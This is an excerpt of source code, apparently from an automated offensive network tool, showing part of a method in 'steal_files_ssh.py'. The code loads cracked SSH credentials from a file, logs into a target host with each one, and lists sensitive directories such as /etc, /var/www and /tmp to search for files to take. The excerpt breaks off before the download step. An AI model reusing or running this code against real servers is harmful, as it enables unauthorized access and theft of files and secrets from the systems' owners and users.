Method execute

actions/steal_files_ssh.py:279–414

Steal files from the remote server using SSH.

(self, ip, port, row, status_key)

            return False

    def execute(self, ip, port, row, status_key):
        """
        Steal files from the remote server using SSH.
        """
        try:
            if 'success' in row.get(self.b_parent_action, ''):  # Verify if the parent action is successful
                self.shared_data.ragnarorch_status = "StealFilesSSH"
                # Wait a bit because it's too fast to see the status change
                time.sleep(5)
                logger.info(f"Stealing files from {ip}:{port}...")

                # Get SSH credentials from the cracked passwords file
                sshfile = self.shared_data.sshfile
                credentials = []
                if os.path.exists(sshfile):
                    with open(sshfile, 'r') as f:
                        lines = f.readlines()[1:]  # Skip the header
                        for line in lines:
                            parts = line.strip().split(',')
                            if parts[1] == ip:
                                credentials.append((parts[3], parts[4]))
                    logger.info(f"Found {len(credentials)} credentials for {ip}")

                if not credentials:
                    logger.error(f"No valid credentials found for {ip}. Skipping...")
                    return 'failed'

                def timeout():
                    """
                    Timeout function to stop the execution if no SFTP connection is established.
                    """
                    if not self.sftp_connected:
                        logger.error(f"No SFTP connection established within 4 minutes for {ip}. Marking as failed.")
                        self.stop_execution = True

                timer = Timer(240, timeout)  # 4 minutes timeout
                timer.start()

                # Attempt to steal files using each credential
                success = False
                total_downloaded = 0
                
                for username, password in credentials:
                    if self.stop_execution or self.shared_data.orchestrator_should_exit:
                        logger.info("File search interrupted.")
                        break
                    try:
                        logger.info(f"Trying credential {username} for {ip}")
                        ssh = self.connect_ssh(ip, username, password)
                        
                        # Search in multiple targeted directories instead of just home
                        search_dirs = [
                            self._get_remote_home(ssh, username),
                            '/etc',
                            '/opt',
                            '/var/www',
                            '/tmp'
                        ]